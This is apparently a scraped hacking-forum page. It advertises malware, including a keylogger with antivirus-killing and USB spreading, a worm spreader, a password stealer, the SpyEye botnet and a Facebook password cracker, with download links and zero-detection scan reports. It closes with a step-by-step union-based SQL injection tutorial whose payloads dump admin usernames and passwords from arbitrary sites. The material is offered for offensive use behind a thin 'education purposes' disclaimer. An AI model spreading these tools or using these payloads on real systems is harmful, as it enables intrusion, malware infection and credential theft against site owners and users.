Ksecurity-team

1. SQL INJECTION SCANNER
2. SQL INJECTION SQLI HELPER 2.7
3. ADMIN PAGE FINDER
4.  PLUS ALL OTHER TOOLS

USES H00ks (Working On Window7,Vista,Xp)

USB Spread

Anti's-
Anti Keyscrambler
Anti Wireshark
Anti Avira
Anti Malwarebytes
Anti Kaspersky
Anti Ollydbg
Anti Outpost
Anti Norman
Anti BitDefender
Anti NOD32
Anti ZoneAlarm
Anti McAfee
Anti AVG
Anti asquared
Anti Avast
Anti ClamAV
Anti Comodo
Anti Ewido
Anti Panda
Anti TrendMicro
Anti VirusBuster
Anti Symantec

Add To Startup


File Info

Report date: 2010-04-26 1439 (GMT 1)
File name: D3vil_Hunt3rz_Keylogger.exe
File size: 262656 bytes
MD5 Hash: 4a3a90da99da818fc5af0d8da04887e5
SHA1 Hash: 4c9473b2ddd2921683d5c880d90ea8d3e40b0949
Detection rate: 0 on 20 (0%)
Status: CLEAN

Detections

a-squared - -
Avast - -
AVG - -
Avira AntiVir - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo - -
TrendMicro - -
VBA32 - -
VirusBuster - -
Zoner - -

Scan report generated by
NoVirusThanks.org
Dont test server.exe. Test urself






RapidShare: 1-CLICK Web hosting - Easy Filehosting

Spy-net v0.5.1

Safe3 SQL Injector is one of the most powerful penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers.

Features:
Full support for GET/Post/Cookie Injection;
Full support for HTTP Basic, Digest, NTLM and Certificate authentications
Full support for MySQL, Oracle, PostgreSQL,MSSQL,ACESS,DB2,Sybase,Sqlite
Full support for Error/Union/Blind/Force SQL injection
Support for file acess,command execute,ip domain reverse,web path guess,md5 crack,etc.
Super bypass WAF

Scan Screen shot:

Facebooz is a tool for crack facebook password, but you should know the email you want to crack.
I will explain how to use this tool,

1. you must instal java (JRE) to run this tool
2. open tool and add the email you want to do
3. you must have a list of password on the notepad and add it to password box
4. the last, start cracking......
Disable your firewall & Anti Vorus before you run this tool

Size: 25 MB
Download:

M4x Sql Injection Tools




•m4x mysql injector more faster than similar programs because it uses different methods
•It has proxy selection according to user choice.
•Datas getting one to one like the other database management systems or scripts.
•You can make your listing process faster because it's include Treeview control
•It's include data limit.It's mean you can get data with what you decide about that
•You can get datas from end(desc) or from start(asc)
•You can see how much time left to end process with progressbar.
•You can export your datas to Microsoft Excel
•If you want do your half work later you can do it easyly with saving your database
•If the m4x mysql injector have database user's permissions, you can execute load_file, into outfile and into dumpfile functions.You can read file which do you want with load file
and you can write your shell to directory which do you want with into out
•It doesn't affect with Magic Quotes Gpc.It doesn't matter on or off

I just made a simple Worm Spreader. Here I made a picture about . Its coded in VB.NET.



Report date: 2010-18-10 1812 (GMT 1)
File name: SimPle_Spreader.exe
File size: 23552 bytes
MD5 Hash: d970b6103fee725374e1f6b4fc3240fa
SHA1 Hash: cc626a8f94610e598f53bbb97fc0be0c7f740d90
Detection rate: 0 on 20 (0%)
Status: CLEAN

Detections

a-squared - -
Avast - -
AVG - -
Avira AntiVir - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo - -
TrendMicro - -
VBA32 - -
VirusBuster - -
Zoner - -

Scan report generated by
NoVirusThanks.org

[CENTER]

NVT Scan result:

File Info

Report date: 2010-05-26 1823 (GMT 1)
File name: sqlifinder.rar
File size: 106219 bytes
MD5 Hash: c6e4dc53b9bf563e1010056caf65213b
SHA1 Hash: d2ce9ecc3ebfc7aedee206ef2a15eb9fc7ba6d1e
Detection rate: 0 on 19 (0%)
Status: CLEAN

Detections

a-squared - -
Avast - -
AVG - -
Avira AntiVir - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
NOD32 - -
Panda - -
Solo - -
TrendMicro - -
VBA32 - -
VirusBuster - -
Zoner - -

Scan report generated by
NoVirusThanks.org

Great tool to find sql injection sites and find its database and dump the database and find admin id and passwords



http://rapidshare.com/files/22605516...Masterm1nd.rar

Features:
100% Scantime and Runtime FUD
Supports Windows XP, Vista and 7!
Destroy AntiVirus: Kill and delete antivirus and security-related programs
Add to startup
Logs EVERYTHING - Runescape, World of warcraft, firefox passwords, IE passwords etc will all be in your logs












http://sharecash.org/download.php?file=466886

This Tutorial is for education purposes ONLY and I am NOT responsible in any way on how you use the information provided and what you do with the files.
Thank you and enjoy reading.

Spy Eye is a new HTTP Botnet:

SpyEye was written on C++, at this moment, exe has size of ~60KB.
Bot is invisible in processes, invisible in files, invisible in autorun (in registry). It works in ring3 mode (like bot Zeus).
It works on OS Windows 2000 to Windows 7.

Step 1:

	http://www.multiupload.com/B6Q6QYFD74

SQL Injection in MySQL Databases

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:
When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1

or
www.site.com/id=5

Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'

If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:

www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5--

If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--

This is what we would enter if we have 4 columns. If you have 7 columns you would put,union all select 1,2,3,4,5,6,7-- If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--

Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6
In this Step we want to list all the column names in the database, to do this we use the following command:

union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website.